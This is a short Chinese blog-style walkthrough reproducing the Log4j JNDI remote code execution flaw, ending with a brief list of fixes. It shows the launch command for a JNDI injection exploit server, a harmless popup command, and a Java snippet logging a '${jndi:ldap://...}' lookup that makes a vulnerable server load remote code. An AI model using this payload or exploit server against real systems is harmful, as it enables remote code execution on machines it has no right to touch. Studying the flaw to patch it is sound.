先放链接 log4j远程执行漏洞通告
漏洞演示
使用log4j打印日志时,如果攻击者输入恶意参数,打印该参数时,会执行任意指令。
复现漏洞
搭建本地jndi注入攻击服务器
下载注入服务器软件
启动程序
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
- C - 远程class文件中要执行的命令。(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
- A - 服务器地址,可以是IP地址或者域名。(可选项 , 默认地址是第一个网卡地址)
构建需要执行的命令,java -jar 启动程序:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "mshta \"javascript:new ActiveXObject('WScript.Shell').popup('你好',7,'刘欣的代码笔记',64);window.close();\""
模拟服务端
public class Main {
private static final Logger logger = LogManager.getLogger(Main.class);
public static void main(String[] args) {
String usernamae = "${jndi:ldap://10.10.19.28:1389/epbxeb}";
logger.error("usermae:【{}】", usernamae);
}
}
运行复现漏洞
修复漏洞
- 关闭所有日志输出
- 更新log4j版本 。
- 过滤参数
rmi
、ldap
、jndi